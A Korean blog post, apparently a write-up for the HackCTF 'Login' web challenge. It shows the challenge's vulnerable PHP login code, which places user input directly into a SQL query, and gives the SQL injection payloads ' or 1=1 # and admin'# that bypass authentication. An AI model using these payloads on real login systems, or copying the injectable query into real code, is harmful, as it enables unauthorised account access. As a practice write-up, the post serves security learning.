Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
Tags
- Web Hacking
- wargame
- 그리디 알고리즘
- 백준
- cryptography
- 써니나타스
- 인코그니토
- MySQL
- Web
- misc
- 문자열
- C
- HackCTF
- Network
- Database
- 구현
- SuNiNaTas
- Incognito
- Forensics
- CTF
- 사칙연산
- N0Named
- Python
- writeup
- Text
- php
- 정렬
- xcz.kr
- Digital Forensics
- 수학
Archives
- Today
- Total
보안을 그리다, 훈이
[Web Hacking] HackCTF Login(100p) Write Up 본문
HackCTF Web 분야 Login(100p) 문제 풀이입니다.
문제에 링크가 주어져 있네요. 들어가봅시다.
로그인 폼이 있는 것을 보아 어떠한 문제일지 예상이 됩니다.
먼저, 페이지 소스코드를 봅시다.
<?php
highlight_FILE(__FILE__);
require_once("dbcon.php");
$id = $_GET['id'];
$pw = $_GET['pw'];
$pw = hash('sha256',$pw);
$sql = "select * from jhyeonuser where binary id='$id' and pw='$pw'";
$result = mysqli_fetch_array(mysqli_query($db,$sql));
if($result['id']){
$_SESSION['id'] = $result['id'];
mysqli_close($db);
header("Location:welcome.php");
}
?>
한 눈에 봐도 매우 취약해 보이는 로그인 폼의 PHP 소스코드입니다.
간단하게 SQL Injection 기법을 사용하면 로그인에 성공하겠네요.
id 입력란에 ' or 1=1 # 값을 입력하면 아래와 같이 id가 참 값이 되고 #에 의해 pw를 비롯한 뒷 부분은 주석 처리됩니다.
$sql = "select * from jhyeonuser where binary id='' or 1=1 #' and pw=''";
또한, id 입력란에 admin'# 값을 입력하면 아래와 같이 admin 계정으로 로그인됩니다.
$sql = "select * from jhyeonuser where binary id='admin'#' and pw=''";
로그인에 성공하면 welcome.php 페이지를 통해 플래그가 출력됩니다.
Solve!
'Security > Wargame' 카테고리의 다른 글
[Cryptography] HackCTF Smooth CipherText(100p) Write Up (0) | 2021.12.15 |
---|---|
[Cryptography] HackCTF Great Binary(50p) Write Up (0) | 2021.12.15 |
[Forensics] HackCTF Terrorist(200p) Write Up (0) | 2021.12.14 |
[Forensics] HackCTF 나는 해귀다(150p) Write Up (0) | 2021.12.13 |
[Forensics] HackCTF 세상에서 잊혀진 날 찾아줘!(150p) Write Up (0) | 2021.12.13 |
Comments